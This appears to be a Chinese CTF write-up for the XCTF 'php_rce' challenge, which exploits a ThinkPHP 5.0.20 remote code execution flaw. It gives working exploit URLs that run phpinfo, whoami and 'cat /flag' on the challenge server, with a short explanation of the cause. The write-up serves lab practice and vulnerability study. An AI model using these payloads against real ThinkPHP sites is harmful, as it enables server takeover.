攻防世界web练习
十五、php_rce
http://111.200.241.244:59735/
ThinkPHP远程代码执行
这是一个远程代码执行漏洞,先学习vulhub复现这个漏洞的过程:
输入:http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
可执行phpinfo:
可以执行phpinfo,那可不可以执行其他命令呢?查了一下网上的payload,如下:
输入:http://your-ip:8080/index.php
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
返回看到:www-data www-data
【原理】
ThinkPHP5框架底层对控制器名过滤不严,可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞。
-
http://111.200.241.244:59735/index.php
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1


发现网页使用的是ThinkPHP框架,版本为5.0.20,此版本存在getshell漏洞(百度一下poc一抓一大把)- 查找flag:http://111.200.241.244:59735/index.php
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

- 查找flag:http://111.200.241.244:59735/index.php
本文详细介绍了攻防世界web练习中的php_rce问题,涉及ThinkPHP5框架的一个远程代码执行漏洞。通过特定的URL输入,可以执行phpinfo及系统命令,如whoami,揭示了ThinkPHP5.0.20版本存在的getshell风险。利用此漏洞,可以尝试获取服务器flag。
625

被折叠的 条评论
为什么被折叠?



